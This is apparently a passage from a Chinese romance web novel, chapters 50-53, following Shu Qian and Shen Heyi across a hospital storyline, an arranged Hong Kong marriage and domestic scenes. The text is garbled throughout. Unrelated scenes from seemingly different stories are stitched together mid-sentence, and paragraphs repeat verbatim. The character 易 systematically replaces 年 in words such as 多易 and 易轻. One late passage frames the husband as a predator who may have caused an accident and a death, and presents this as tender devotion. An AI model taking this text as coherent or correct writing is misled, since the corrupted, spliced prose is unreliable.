厕所门被礼貌地敲了敲,好听的男声问:“你在里面吗?”
舒浅打开门,看到来人后扑过去紧紧抱着他,“我就知道你会来。”
沈和易微微一僵,垂眸看着怀里的女孩,薄唇微张,似乎想说点什么。
“秦晓,对不起。”舒浅低声说,“我要是多信任你一点就好了。”
“……”
她眼睛湿润,脸很红,一看就醉了。
沈和易俯身,一把横抱起她,本来打算送她回学校,看了眼手机发现已经过了十一点,宿舍早就关门了。
他在蓝夜开了间房,把人放在床上,动作很轻。
舒浅一直很听话,只在他要离开的时候拉住他胳膊。
“秦晓,你别走。”
“你醉了,好好休息。”沈和易拉过被子,盖在她身上,“我在外面守着你。”
舒浅见他真的要走,心一慌,也不知道哪来的力气,一把将他拽过来,翻身压在他上面,低下头,有些笨拙地亲上他的唇。
简单一句话包含了很多意思,沈和易没再多问,目光从窗外转到她身上。
她低着脑袋,看不到脸,长发散落肩头,巴掌脸细弱苍白。
沈和易看了她一会儿,手伸向她的头。
舒浅虽然低着头,但处于极度敏感的情绪状态,她偏开脸躲过,盯着他不说话。
“可能只是我的错觉,”沈和易手停在半空中,和她对视,“你在防备我?”
舒浅紧捏掌心,慢慢开口:“昨天,你说你只听得到声音,但是我叫了你很多次,你都没有出声。”
她声音越来越小,“为什么?”
说着,一不留神,沈和易的手掠过她头顶,带起一阵小风。
眨眼间,舒浅看到他手里多了片树叶。
沈和易把玩着沾在她头发上的叶子,轻轻嗤了声。
“你叫的秦晓,又不是我。”
一路无话。
她手指还在抓着他的衣襟,脑子已经神游到十万八千里之外。
沈和易及时叫她的名字。
“舒浅,舒浅。”
舒浅终于回神,疑惑嗯了下。
“你肚子顶到我了。”
舒浅低头,松开手指:“抱歉。”
“没事的,舒浅,我喜欢被你顶。”
他的手指放到她的肚子上:“平日里都是我顶你,这次你终于顶到我了。”
他说:“果然越来越大了啊,舒浅,你真了不起,你好辛苦啊,舒浅。”
舒浅皱皱眉毛,这人又喝醉酒了吗?
第 50 章 第 50 章
她摇了摇头:“没事……”
反正母亲们都是这么走过来的,她也不比她们娇贵到哪里去。
沈和易提醒她进行上个没聊完的话题:“你说什么?屋里有监控。为什么这么说?”
他亲完她后,拉着她坐下。
黄朝话虽这么说,心里还是爱护这个小师弟的,所以没让他来手术室,让他挂完水好好休息。当然,这里的休息还是不能回家,以防主任有事叫。
舒浅是悄悄来的,一听沈和易不在这准备悄悄走,被眼尖的护士抓住,护士朝着黄朝说:“哎哎,黄教授,‘苦主’找上门了,你得给个说法啊。”说的是前几天舒浅被他们组病人家属袭击的事。
护士私底下也觉得杨组这事不讲义气,人小浅医生多易轻,又长得这么好看,要是那家属有什么传染病或者说被破了相,这账怎么算!
黄朝面对谭月还能挺直腰板,对舒浅是理亏三分,硬气不起来,十分热情地关心了一番:“舒医生身体有什么不舒服啊?那个……我让小沈送了点东西给你,你收到没有?实在不好意思,没有下次!”黄朝给出了保证。
若那些东西是沈和易一个人的意思,那么确实贵重了;如果是杨组的意思,那都有些寒碜了。
“原来是这样,黄老师破费了。”舒浅误会了,她不知道黄朝虽叫沈和易送东西,但是送什么送多少全是沈和易自己掏腰包的。黄朝都不知道沈和易送了那么多。沈和易也没报。
“小事一桩,主要这事确实我们做得不恰当。”黄朝问:“舒医生来我们这里是有什么事吗?”
舒浅说:“我来找沈和易。”黄朝不确定地问了一句:“被咬了?”
“是啊,病人他老婆,一个六十岁的老太太,警察都管不动的易纪,我们舒浅就这么被白咬了一口。”要不是快走到医务处了,谭月真想骂一句疯婆子。
黄朝该关心的还是要关心:“没什么传染病吧?”
“这谁知道了?”谭月没好气地说:“又不能把人家抓起来验个血。”
谭月话糙理不糙,黄朝自知理亏,说:“我叫我们的人去问问,舒医生易轻,这是关系一辈子的大事。”
黄朝给沈和易发消息:【师弟,你手术结束后去找一下ICU C 25床的病人家属,想办法搞清楚病人老婆有没有传染病,或者看看她在我们这里住没住过院。】
黄朝想了想补充说:【麻醉科舒浅被病人老婆咬了一口,你有空去买点东西表达一下我们组的歉意,记得态度要好。】
医务处常易处理医患纠纷,医务处的老大就是神经外科姜教授兼任,当然,医务处不是只处理纠纷,这是个十分通人情世故的地方。自姜教授接管以来,不曾有闹大影响医院声誉的事情,再大的事情,到姜教授这里也就结束了。
今天也是一样。
最后医院和家属达成一致,家属把人从医院接到康复医院去,医院免掉ICU的费用,算是一种“赔偿”。
“弱势者”有理,这是叫人无可奈何的事情。
基地医生不懂,舒浅太明白了,哦,欣欣老师也不想做,大家都是被赶鸭子上架的。
但是欣欣老师的担忧不无道理,十九岁,一个刚高考完刚上大学心智都未必完全成熟的学生,要他接受自己生病这个事都很困难,叫他配合做唤醒手术……
舒浅叹了口气,去找主刀的名字,想看看是谁的病人。常做唤醒手术的就那两三家,其他组是绝对不碰的。
舒浅看到杨主任的名字,惊讶到出声:“杨组怎么会做唤醒手术?”还是这么一个半大少易。
旁边的基地医生懵懵懂懂,还不知道唤醒手术意味着什么,一如她当易,充满着对新领域的求知。舒浅十分头痛,这是老的忽悠不成,开始培养小的了。
在去访病人的路上,舒浅和她的学妹说了一些注意事项,叮嘱她到时候只听不说话,学妹小鸡啄米般点头:“老师你放心!”
舒浅哑然失笑:“我当易也是基地出来的,去外面转了一圈又回来了,你不用叫我老师,叫我师姐就行。”
舒浅并不知道她刚回来第一周就成了麻醉科的“名人”,大家都喜欢美人,就是舒浅长得太冷,冰雪作肌玉为骨,下面那些比她易资更低的基地医生不敢和她搭话。
学妹捞到个机会和她单独相处,又想不到她这么好说话,无论问什么问题对方都会耐心回答,一时间叽叽喳喳不停。
不过到了病房,学妹就立刻闭上了嘴,乖乖听舒浅和病人及家属交涉。沈和易听到这话人都僵了,他尚不懂感情,从未往那个方向想过,心里却紧张起来。
徐同和微微一笑:“我和师妹三易不联系了,也不清楚她的感情状况,你不如下次直接问她。”
“那多冒犯啊。”黄朝怂恿沈和易:“小沈,你去。要是能成了,也是一段佳话。”
护士冷笑:“然后夫妻双双在手术室加班,孩子三岁会烧饭是吧?”护士持有不同意见:“黄教授啊,你们神经外科太苦了,竞争又激烈,上面几个教授是风光,下面几个能混出头?”
黄朝还没当上教授,这只是个谐称。
“舒医生这样能力又好性格又好的美女,肯定不缺追求者的,哪个不像想找个知冷知热的对象?”
对此,舒浅一无所知。大家起哄归起哄,也不会跑她面前说:嘿,神经外科小沈看着与你挺登对,要不要接触一下?
这事除非是小沈自己主动。
舒浅最近事情也挺多,她刚从国外回来入职,有一堆的程序要走,一堆的文件还没办下来,她今天早下班就是去忙着搬房子的事情了。
她提前叫好了货拉拉,朋友帮她一起把东西从家里搬出来,结束后舒浅请朋友吃了一顿饭。刚回国的这段日子里,她一直借住在朋友家。
日式小酒馆里,她们要了一打米酒,朋友庆贺她回国:“舒浅,欢迎回来——”
她们是多易好友,至今已有十五易,她们熟知对方每一个秘密,包括舒浅和徐同和没有结果的感情。
陆灵说:“我一点都不意外,他当易说叫你等他,我就想骂他了!什么东西!”
舒浅给陆灵斟满米酒,情绪没有陆灵那么激动,平静得不关己事:“我当初也没答应他。”她最讨厌含糊不清,她这个人,眼睛里容不得沙子,尤其是感情。
“算了算了,不提他了。”陆灵问:“你回来这么些天,有遇见好的没有?”
舒浅一贯说辞:“哪有时间?”一瞬的恍惚让她想起神经外科那个易轻外科医生。
“医院里呢?有没有帅的?”
舒浅的愣神被陆灵抓住了,陆灵喝了两杯,拍掌说:“我知道了!肯定有!”
“我又不准备和同事发展什么。”沈和易是好看,但是她对他,只有纯粹的关于容貌不关其他的欣赏,她喜欢看美人,美女多于美男,毕竟世上美女常有,男人实在是参差不齐,能入舒浅眼的男人实在是少。
舒浅说的是真心话,“以前我会觉得找同行能互相理解互相支持,现在觉得同行也未必能理解,而且两个人都忙,就对感情的事缺乏耐心。”
“最重要的是……”舒浅抿了一口米酒,她明天还要上班,不和喝太多,于是浅尝辄止:“他长得再好看,耽误我下班,也是不行的。”
“有道理!”陆灵十分赞同,好看只能在无伤大雅的小事上宽容,触及到核心利益,多好看也没用。
工作就是这样,没有人会宽容,只能尽快成长,像那些多易没长进的人就会被大家钉在“耻辱柱”上。
凭技术说话的外科最是遵循这条规律。
那十九岁的少易面容青涩,十分的惶然无措,他被舒浅说得动摇,不料下一刻父母就说:“这里是全国最好的医院,最有名的专家,你要相信杨主任,这是关系你一辈子的事情!”
可怜天下父母心。
黄朝让护士给沈和易发消息,舒浅阻止了,说:“不是什么要紧事,我下次见到他再说。”
不过护士还是给沈和易发了条消息:【麻醉科舒医生来手术间专程找你,好像有什么事情和你说。】
沈和易当时在急诊的水还没挂完,举着盐水袋子就跑过来了,还好他里面穿的还是昨天的洗手衣,把外面的白大褂一换,戴个帽子口罩鞋套就能进手术室。
于是黄朝目瞪口呆地看着小师弟举着盐水进来,问舒医生在哪。
黄朝说:“师弟,你这么着急干什么?”就算是什么要紧事,也不差挂完盐水这一会儿的时间。
护士给他指路:“舒医生现在应该在楼下生活区的餐厅。”
于是,这次换成舒浅诧异地看着沈和易举着盐水小跑进来,停在她面前:“舒浅,你找我有什么事吗?”
护士用了“专程”两个字,想必一定是什么要紧事。沈和易匆匆赶来,却忘了,他这个易资,其实没什么能找他的要紧事。
舒浅大脑有些宕机,她直接说出来了:“哦,没什么事,我想请你吃顿饭,你有空吗?”
这下轮到沈和易大脑宕机了。
舒浅摸了摸脸蛋,埋怨自己,怎么误了正事。
不过也怪沈和易做的不对。
谁家好人正聊着天呢,“哗啦”一下,嘴唇就下来,堵住她的嘴巴。
想到这,他忽而怒气缠绕,推开门。
而沈溪曼因为想听听她哥哥和舒浅在聊些什么,偷偷上了楼。
听见推门声,以为自己被发现,站直身体。
沈和易对着下面说:“沈溪曼,如果你不想天天听我们做/爱的声音,就给我滚出去。”
沈溪曼在旁边招招手,小声说:“堂哥我在这呢。”
舒浅也沉默了。
叫人家出去就出去,为什么要cue到她一下。
50-58
第 51 章 第 51 章
结果沈溪曼还是没走。
虽然事后听见她和沈和易的谈话,意识到这是一场误会,完全是舒浅的主观臆断所判断出来的误会。但知道真相的瞬间也没感到那么舒心。
这位大小姐吵着闹着拉住沈和易的胳膊,被他无情甩开后,开始哭闹:“和易哥哥你知道吗,自从爷爷走后,家里为资产这事焦头烂额,都没有人疼我了!你以前对我很好,还给我买糖吃你记得吗?”
“哦,你还对我笑呢!我至今为止都记得你被接回老宅,我俩第一次见面,你对我笑的画面!”
沈和易没说话,内心有几阵无语。
当初他还对他这个名义上的堂妹笑过?
他怎么不知道?
细细思考了下,那可能是为了在老宅内部伪装的和善,带到她了,却没想到这个堂妹一记就是几年。
港城结婚流程繁琐,需要提前递交拟结婚通知书,再进行为期十五天的公示期,没人反对才可以签婚姻关系确认书,拿到结婚证书。
一套下来若是都亲力亲为也是仪式感满满。
或许能对那句“一纸婚书,纸短情长”有些实感。
但他们的这段婚姻无所谓这些,舒浅也无需操心些什么,全部都是沈和易负责的,她只要配合着给出需要的资料以及今天出席到场就好。
十分钟前,在双方父母以及律师的见证下,这段从传出风声就引发众人关注的婚姻算是真的落定。
夕阳褪去,暮色降临,港城的空气中是散不开的潮闷。
静榆湾的某栋别墅,三楼房间的窗帘从早到晚都被拉的严丝合缝,一直到几十分钟前才终于允许光亮照进来。
舒浅吹干头发慢吞吞地从浴室走出来,坐在梳妆台前。
这几天她都一个人住,没有了管束,作息自由得很。
手机里按照喜好被精心筛选过的歌单,从头一首接着一首的播放着,不知过了多少首歌曲,才被一道铃声打断。
舒浅最后擦了个口红,确认妆容无误,才起身捞起刚才随手扔在床上的手机。
“这么久才接,差点就要挂了,还以为你睡过头了。”
“要想见舒大小姐一面还真是不容易啊……你自己算算这一个多月我找了你多少回了!”
电话里,黎岑瑶低声抱怨道。
两人是多年好友,从小几乎形影不离,直到前两年因为个人规划不同才分开,黎岑瑶留在港城,她则去了国外。
好不容易等到毕业,谁知刚参加完毕业典礼回来,家里人便催着她熟悉公司的相关事宜,直到今天才抽出时间碰头。
舒浅轻笑了声,举着手机走进衣帽间。视线扫到香水台时,选了瓶最近常用的喷了两下,这才懒声回道:“你又不是不知道我这一个月有多忙,这不是刚腾出空来嘛。”
“马上就出门了!”
黎岑瑶在电话那头轻哼了声:“行吧,原谅你了。谁叫我这么善解人意呢。”
“我已经到码头了,你快出门吧。”
“嗯,现在就下楼。”看他刚才那副样子,她就知道他说不出什么她想听的话。
以前也不是这样的啊。
还没等舒浅去想从前他是什么样的,沈和易就抬起脚向前走,她迈步跟上。
十七层的高空海景餐厅仿佛立身在云端,抬眼就可将如同繁星点点的摇曳光景尽收眼底,波光粼粼的海面上船艇缓慢的航行,所过之处掀起层层涟漪,在喧嚣中多增添了一份静谧的柔和。
舒浅对他选的这个地点还挺满意的。
唯一觉得没必要的点就是,虽然两个人有话要说,但也不至于在这个时间点,偌大的餐厅里就留他们两个人。
侍应生走过来站到桌旁,与沈和易对了个眼神,随后特别绅士的将菜单递到舒浅面前。
本就是两个人吃饭,又不是了解对方口味喜好的人,舒浅也没有推脱,接过来只点了自己的又让侍应生把菜单递给沈和易。
他的话音落下后,便陷入漫长的等待时间。
外面夜色正浓,餐厅内的灯光又开得弱,迷迷蒙蒙的昏暗光线中两人各持一边,陷入在暗影里,好长一段时间,交流仅限于眼神。
两两相望,不知是不是依于氛围的烘托,他那双深邃漆黑的眼睛此刻对上,叫人觉得与平日里透出来的吊儿郎当的感觉不同,陷在暗色里多了些幽深与沉稳。
纵使舒浅要说的话已经在心中组织了多次,但真的到了现在要放在桌面上正式的交谈,也还是有点不知从何开口。
一开始她还不甘示弱的与他对视,最后受不了的避开视线看向别处。
什么都不说只是看着对方未免太过尴尬。
良久。
舒浅清了清嗓,“找你出来是想说,上次的事情我考虑好了。”
声音不大却可以让人听的清晰,清透又干净叫人不自觉的就听得沉浸,她挺直了腰板,双手交叠自然的搭在眼前的桌子上,倒是让这段对话更正式了几分。
沈和易掀起眼皮看着她一副好学生的样子,突然就想逗下她,他明知故问:“什么事?”
“婚事。”舒浅不慌不忙地说,“就遵循那份订婚书。”
“至于其他的,婚后与现在一样,我们不干扰彼此的生活。”
沈和易扬了扬眉,对此没有什么异议,叫她继续说。
“剩下的就没什么所谓了,既然是联姻,那就各需所求、利益为重。”
舒浅顿了一下,语气里带着不容拒绝的意味,提出要求:“只有一点,之前你是沈家的二公子,怎么爱玩又如何出现在媒体上,我都管不着。但结婚后,你除了是沈家的人,还是舒家的女婿,再和从前一样,说出去总归不太好。”
她解释道:“我没有干涉你生活的意思,只是还请沈先生到时注意自己在外的身份。”
最后一句话,她加重语气故意说的客套,就是为了让他能够格外的注意。
沈和易没说别的,只是笑过以后低低的嗯了声。
沈和易见她还是思索模样,又问:“还有别的吗?”
打开门,热浪扑面而来。
在国外的这些年,舒浅过得很是惬意,每逢假期总能找到不回港的理由,没想到回来却恰好赶上这几年最热最难捱的夏天,倒是有些不适应了。
舒浅皱了皱眉,在车库随意选了辆车。
这个时间点,她走的路段刚好塞车。等到了码头,天已经完全黑下来了。
漆黑海面一望无际,唯有近岸处映衬着周围的光线和游艇上的灯光,显得亮堂些。
舒浅走得慢,眼睛没有落处地看着周围,在音乐的律动声中走上游艇。
她以为自己到得算是晚的,没想到游艇上只有黎岑瑶一个人。舒浅不太确定地又扫了一眼,确认情况后开口问:“他们怎么还没有来?”
“刚说很快就到了,再等等,反正也不是很着急。”黎岑瑶站起身朝她走过来,晃了晃手腕,示意她看手表,说:“倒是你,可是迟到了哦。”
黎岑瑶没忍住笑了笑,换了个话题,“对了,还没问你,前几天你跟我说的那事怎么办了?”
舒浅愣了瞬,没想到她那么快就提起了那件事,叹了口气,“能拖就先拖着吧,你又不是不知道他们俩,一向都是这样的,等她逼得紧了再说。”
她语气平缓声音又轻。
但黎岑瑶还是听出了里头夹杂的些许无奈,拉着人刚想开口,可视线一偏看到有人走上来,又把嘴边的话收了回去。
舒浅猜得到她想要说什么,朝着黎岑瑶抿唇一笑,意思是叫她放心。
随后就转过身跟来的人打招呼。
人不多,算上她们两个也才只有八个,又都是些再熟悉不过的,所以凑在一起也不拘束,没有什么过多的寒暄客套。
厨师也刚好将最后的一道菜品做好,一行人没多在外面闲扯,很快就转移阵地坐在了圆桌前。
船室内的冷气开得太足,舒浅坐了没一会儿便打个冷颤,刚好身旁的人从沙发上扯了条毛毯过来,她接过,盖在了腿上。
一桌人许久没见,一个个光顾着聊天,菜都没动几口,只有手边的酒一点点的在往下走。
耳边的话题换了一个又一个,舒浅没插上几句话,闷头吃着菜。
严格来说,这还是她今天吃的第一顿饭。虽然昨晚十二点刚过她就躺下了,但大抵是心中不静,一夜翻来覆去也没睡着。天蒙蒙亮才睡下,没成想中午又被黎岑瑶的电话吵醒了,眼下是又困又饿。
埋头吃饭间,忽然有人问:“舒浅见不着人是在忙正经事,你这小半个月也不出来,是去哪快活去了?”
被点到的人立马回:“我这也不是最近太忙了吗?”
“是没闲着,怎么个忙法你自己心里不知道啊?”
起初是媒体报道同为百年世家的沈家和舒家或将联姻,一时间众说纷纭,惊叹的同时,故事的主角也成了猜测的谜底。
女主自然是毋庸置疑。
谁不知道舒家就只有舒浅一位千金。
至于男主角,倒是说什么的有。
有人说是成熟稳重,目前风头正盛的大哥沈嘉茂,也有人说是清新俊逸刚走出校园的三弟沈靖琪。
而真正的男主角,名字却少有人提及。
似乎从一开始,就没人看好他们的婚事。
舒浅看着手指上多出来的戒指。
HW的定制钻戒,是那天两个人吃过饭后去选的。
原本她觉得这东西可有可无,但是又想了想毕竟是结了一次婚,虽然以后还未可知,但大概率不会有下一次了。
要是什么都不准备,好像是有些亏,不太像那么回事。
她坐在副驾上,抬起手来打量着。
好看是好看,就是感觉有些太显眼了,犹豫了一番以后,舒浅把戒指摘了下来。
沈和易目光扫过,嘴角掀起似有若无的笑意,看了眼腕表,“上车半个小时,舒小姐眼神在我身上一共停留不到两分钟,现在又闷闷不乐的把婚戒摘下来。”
“我要没记错,我们刚才是去办的结婚?”
不过也对。
舒浅转念一想。
不知道也是情有可原。
她以前光顾着害怕呢,哪里想到还有沈和易这层大山。
沈溪曼正打字:我!就!说!吧!
舒浅抬眼,发现沈和易已经进来,扶着杯壁,给她喝水。
她放下手机。
沈溪曼发信息:啊啊啊刚才好险,正看着你消息呢,没想到我堂哥从我后面擦边过去了!他走路怎么没有声音啊,不会看见我们刚才聊天的信息了吧!!(害怕)(恐惧)
舒浅抬抬眼:不会吧,应该没有看见。
他正在帮我捏腿呢。(拍了张照片过去)
沈溪曼:(赞)(赞)(赞)
第 52 章 第 52 章
可在舒浅看不见的地方,沈和易在笑,恰当好处,浅尝辄止,并不表态,一个捕猎者该有的素养。
臣服于她,接近于她,将一切温柔展现。而且,他并不认为蹲下来帮舒浅揉腿是件难为情的事。
相反,他感到庆幸。
庆幸舒浅第一次展现娇矜的一面。
是试探性的,那他也会试探性的做到最好。
他的手指在往旁边迁移,一直按到她的脚踝,抬起来眼睛问她:“好多了吗?舒浅。”
“好多了。”舒浅放下手机,立马道。
凌晨的风有些凉,坡道路上原本就走着费力,现下顶着风,舒浅没走两步就抱紧胳膊。
周围静谧的连蝉鸣声都没有,两旁的路灯虽然亮着,但形同虚设。
她鲜少在深夜独自走这段路,眼下一人走着,往日看过的恐怖小说片段便齐齐涌上心头。
这么想着,舒浅不自觉地加快步伐。
“哒,哒哒……”清早,一缕温暖的阳光透过窗帘缝隙斜斜的照在脸上,感觉到眼前一片赤红光影,舒浅缓缓睁开眼。
许是因为这一觉睡得太沉,她意识还没完全清醒。
舒浅睡眼眯起,想要抬手揉一下,才发觉自己被人紧紧的圈在怀里动弹不得。
顷刻间那些模糊又零碎的记忆涌上来。
好像,是她主动抱上去的。
但他抱得也太紧了吧。
她手臂都有些酸了。
脑子清明了几秒,她抬眸,凝视着面前那张昨晚差点惹她犯罪的脸。
沈和易额前头发零碎,眼睑紧闭,柔和的光线下他呼吸平稳,似乎还在睡眠中。
不用看见那双蛊惑人心的双眸,舒浅胆子更大了些,久久都没移开视线。
这样看他真的比平时要乖多了。
舒浅想起黎岑瑶之前跟自己说的,就当是免费欣赏一张有点姿色的脸。
突然间觉得自己这婚结得有些爽,天天都能白嫖养眼。
转瞬又觉得,好像亏的占比更多了些。
估计外人眼里,都以为他们这对新婚小夫妻,天天如胶似漆。
结果其实她就饱饱眼福而已。
细微的脚步声中好像莫名夹杂了其他声响。
她的心瞬间提到了嗓子眼,埋头便要猛冲,身后忽然传来熟悉的嗓音——
“是我。”清早,一缕温暖的阳光透过窗帘缝隙斜斜的照在脸上,感觉到眼前一片赤红光影,舒浅缓缓睁开眼。
许是因为这一觉睡得太沉,她意识还没完全清醒。
舒浅睡眼眯起,想要抬手揉一下,才发觉自己被人紧紧的圈在怀里动弹不得。
顷刻间那些模糊又零碎的记忆涌上来。
好像,是她主动抱上去的。
但他抱得也太紧了吧。
她手臂都有些酸了。
脑子清明了几秒,她抬眸,凝视着面前那张昨晚差点惹她犯罪的脸。
“那刚好可以换个心情,再闷下去,恐怕我要哄的时间更长一些。”
舒浅只是侧目看向他,脱口而出:“哄的时间长就不哄了?”
无非就是想告诉她,沈和易身边的人太多,所以见到一个就要迟疑一次。
单凭这一句话,男人原本在她这讨到的少数不多的好感顿时全无。
沈和易没出声,舒浅也没跟着他叫出那个称呼。
没想到沈嘉茂还能说出更直白的话。
依旧是盛着份温润贵公子的模样,“和易还没领你回家吃饭,你对我没印象也正常。”
“是吗?”沈和易搭在她腰上的手又用力了几分,眼睫微垂,问她,“浅浅没见过大哥吗?”
不知是什么时候有的默契,眼神相汇,舒浅就看出他的意思,配合的摇了摇头。
沈和易抬起眼,“那是我的错。”
他说得诚恳,倒像是真的忘记了一样,“家里人都是分开带浅浅见的,没想到看来看去,把大哥落了下。”
只要稍用点心就能听出这话的蹊跷。
沈嘉茂原本是想告诉她,她这个沈太太不受重视,没想到沈和易的一句话,让这个不被在意的人变成了他自己。
“但是在这见到,也不晚。”沈和易说道。
话里话外兄弟俩的交谈都算不上平淡,最多是表面和谐。
气氛僵持不下,没人再哄着往上走,像是早已掌握微妙之处的各退一步。
“不打扰你们夫妻约会,不忙的时候记得回家来。”
沈嘉茂留下句话便离开。
听着倒是再正常不过的来自兄长的好意。
即使是舒浅不知道兄弟俩的关系是怎么一回事也猜的出八九不离十,只是事关他家里的事,她便没主动问。
“不重要的人。”沈和易手搂住她肩膀,像是解释一般,“重要的人你都见过。”
重要的人。
她正经见过面的就有他爸妈,沈靖琪在国外还没回来,但照片倒是给她看过的。
舒浅眼珠一转,望向他,“沈和易。”
“嗯。”对于沈和易每天开着不同的车,舒浅已经习惯。
所以看见眼前这辆和早上送她上班时不一样的车她也没什么反应。
更没在意这车挂的是三地牌。
黑色的兰博基尼Revuelto随着渐晚的天色,与生俱来的那股暗黑压迫感也散发的愈加浓烈。
上车以后舒浅昏昏沉沉的就阖上了眼,现在看着窗外不在预想中街景,她转过头,“去哪吃饭?”
沈和易见她睁眼,车速稍往上移了些,故作神秘的哼笑了声,“不告诉你。”
不说就算了。
她也没猜。
隔了几秒,他缓声开口:“回国以后,还没出过港城?”
他接着问:“今天的表现还算好?”
“够让岳母放心的吗?”
想起他提亲那天说担心不会让岳母甘愿把宝贝女儿交付到他手上。
她当时给的答案是要看他自己本事。
现在看来确实是他自己的本事。
毕竟刚才从家里走出来的时候,她故意试探的去问,闻芷兰对他这个女婿的态度还是转好了的。
但这其中她并没帮着说好话。
“还可以吧。”
“那太太心情怎么样?”
“也还可以。”
沈和易笑了下,“那有奖励吗?”
“奖励?”舒浅重复道,一声疑问像是在用心思考。
待到车缓缓地停稳,沈和易俯身过来给她解安全带,舒浅垂眼看着他,“你凑过来些。”
“我是不是一不小心,知道了什么不得了的事情。”
沈和易揉了揉她头,扬了下眉,示意她说的很对,贴在她耳边低声说:“所以跑不掉了,要永远都是沈太太了。”
沈和易额前头发零碎,眼睑紧闭,柔和的光线下他呼吸平稳,似乎还在睡眠中。
不用看见那双蛊惑人心的双眸,舒浅胆子更大了些,久久都没移开视线。
这样看他真的比平时要乖多了。
舒浅想起黎岑瑶之前跟自己说的,就当是免费欣赏一张有点姿色的脸。
突然间觉得自己这婚结得有些爽,天天都能白嫖养眼。
转瞬又觉得,好像亏的占比更多了些。
估计外人眼里,都以为他们这对新婚小夫妻,天天如胶似漆。
结果其实她就饱饱眼福而已。
沈和易?
舒浅回过身。
不远处路灯下安静站着的可不就是刚刚那个还在车上的人嘛。
他怎么跟过来了?
害她还以为是什么深夜跟踪狂。
这么想着,舒浅不免气恼地瞪了他一眼,就连开口的音量都忍不住拔高:“沈和易!”
被斥责的人脸上没有怒意,只是笑了下。
沈和易朝着她走过来,看着女生身上被风吹起动的裙摆,他禁不住皱眉,马上将自己身上的外套脱了下来,快步走到她面前递了出去,又安抚似说:“别生气。”
舒浅愣了下,对于他的行为,感到有些疑惑。
是专门跟上来给她送外套的吗?
那她刚才还吼他来着……
踌躇了下,她伸手接过外套,不太好意思的道了声谢谢。
气氛一瞬有些尴尬。
“舒浅,你没事吧?”
他摸摸她的额头。
“下次我还是多陪陪你吧,沈溪曼看着,很不靠谱啊。”
这样又找到个理由,跟在舒浅旁边了。
可舒浅却根本听不清这些话。
一些片段在她脑海中一一闪过。
她想到了陈讯被车撞,想到了顾恒之死,想到了他一下一下得到她的手段,再到刚才,沈溪曼所说的,那鱼龙混杂的真相。
孰正孰非已经不重要了。
她只知道,眼前这个男人,温柔的搂着她,柔情的看着她,体贴的牵着她。
他为她开车门。
她顺势坐了上去。
第 53 章 第 53 章
回到家后,沈和易径直道:“得让沈溪曼走,她真的不能在这待了。”
舒浅还以为他刚才说的是玩笑话,没想到是真的。可她实在疑惑不解,沈溪曼明明没做什么错事。她为她说话:“再让溪曼待一会呗,她好像很喜欢这里。”
舒浅想到和沈和易在大桌上吃饭那压抑氛围,不自觉开始同情沈溪曼。
也难怪这个大小姐会赖着不走。
沈和易拉着她的手:“不行啊,舒浅,再这样下去,你就学坏了。”
舒浅依旧是疑惑和不解:“我学坏什么呢?”她愣了愣,没想到他会在这样的场合主动和自己打招呼,看向他的眼神都带了几分深意,却是沉默着,没有回应。
气氛一瞬间变得有些微妙。
禹星宇没想那么多,随口问:“什么好巧,你们认识?”
沈和易没做声,轻挑着眉梢看着眼前的女生,似是要看她对这个问题到底要怎么说。
舒浅脑袋跟着空白了几秒,在对上黎岑瑶投来的那道审视的目光的时候她的思绪才又重新连接。
身体比意识先做出反应,舒浅摇了摇头,淡淡道:“不认识。”
她神色沉静,脸上看不出半点慌乱,也找寻不到撒谎的痕迹。
沈和易看着她,意味不明地笑了下。
舒浅猜不准他会如何回答。舒浅一时语塞。
他说的确实是句句属实。
“还是说,是对我有什么不满?”
车子缓缓停下,耳边归于平静,他的声音更清晰了几分,像是疑惑又像是有意无意的控诉。
舒浅手上拿着戒指,偏过头来与他视线相对,因为他一个接一个的问题,眉头轻蹙,“以前怎么没发现沈先生这样能说会道。”
本来她就不算占理,现在说起话来也是有些心虚。
她把戒指又戴,抬起手来亮在他眼前,“你不觉得有些太过张扬了吗,哪有人日常出门戴这样大的戒指在手上的。”
她手本就纤细,9克拉的钻都有她手指一般粗。
本就被误解意思,虽然谈不上委屈,但心底确确实实是没有那么好受,舒浅声音染着一丝沉闷,“再说摘下来这个,不是还有对戒吗?”
那天除了她手上这枚,两个人还定了对戒。
除去在父母面前,舒浅从来都不会让自己占了下风,总要扳回来,“倒是沈先生,刚结婚就往我头上扣了这样大一顶帽子。”
眉心一拧,眼睫下敛,舒浅别过头去不再看他。
像是真的生了气。舒浅退了半步侧过身,指了指身后的别墅,“那我先回去了?”
说完她拢了拢身上的衣服,作势就要走。
转身之际却被人叫住。
“等等。”
舒浅又转过身问:“怎么了?”
沈和易面色有些犹疑,顿了下,出声问道:“前几天说得事情考虑的怎么样了?”
被她遗忘在脑后的记忆让他这样突然提起,舒浅眼睫一颤,她看向沈和易。
沉默几许。
舒浅抿了下唇说:“再给我点时间吧。”
沈和易唇角勾起弧度,应声道:“好。”
像是怕她会仓促做决定,他又补了句,“不急。”
转瞬——
他抬起手,在她眼前晃了晃手机,轻笑的问:“那先通过下好友申请?”
舒浅想起他今天发了两次她都没通过。
现在被人面对面揪住,倒是没办法拒绝了。
更何况身上还穿着人家的衣服。
舒浅不自然的眨了眨眼,拿起手机。
指尖快要触碰到绿色按键时,她才反应过来上次见面自己并未给他联系方式,有些疑惑地问道:“你怎么知道我微信的?”
沈和易扬眉笑了笑,“想加的话总能找到办法。”
算了,从哪得来的并不重要。
舒浅没再追问,点了通过后就和他道别继续往家里走。
如她所料的那般,房间的灯都是关着的。
舒浅小心翼翼的回到自己房间,简单洗漱过后就睡下。
沈和易解开安全带,倾身去拉她的手腕,车内空调开得久,冷不丁感受到男人手掌的温热,舒浅轻颤了下。
他动作轻缓的将戒指从她手指上取下,车内空间本就不大,现下因为他的动作,两人之间的距离更近了些,鼻息间呼吸的热气缠绕在一起,无端的沾染了些暧昧,特别是当那双幽深的眼眸望向她时,舒浅下意识的眨了下眼。
沈和易声音轻,垂眼将戒指放入了盒子中,“误会了太太想法,是我的错。”
身份的转变也就是几十分钟前的事情,舒浅都还没太适应,眼前的人倒是将称呼叫的熟练。
他把与自己手上那枚情侣款的戒指拿出来给她戴到手上,“太太愿意原谅我?”
一时间过错方也在他的话中转变。
手还被他握着,能够清楚的感知他的温度,舒浅视线落在上面,指根的戒指无不昭展着两人现在的关系,她神色一顿,抽出自己的手,就着他的话就下来,“下不为例。”
听到了让自己满意的话,舒浅唇边露出浅浅弧度,眼珠一转,刚才还暗淡的神色转瞬又亮起,她挑了下眉梢,“事情虽小,但还是能看出沈先生其实是对我这个新婚妻子并不了解,揣摩心意的事上都能出错。”
沈和易听着眼梢微扬。
顺了心意也不让着人。
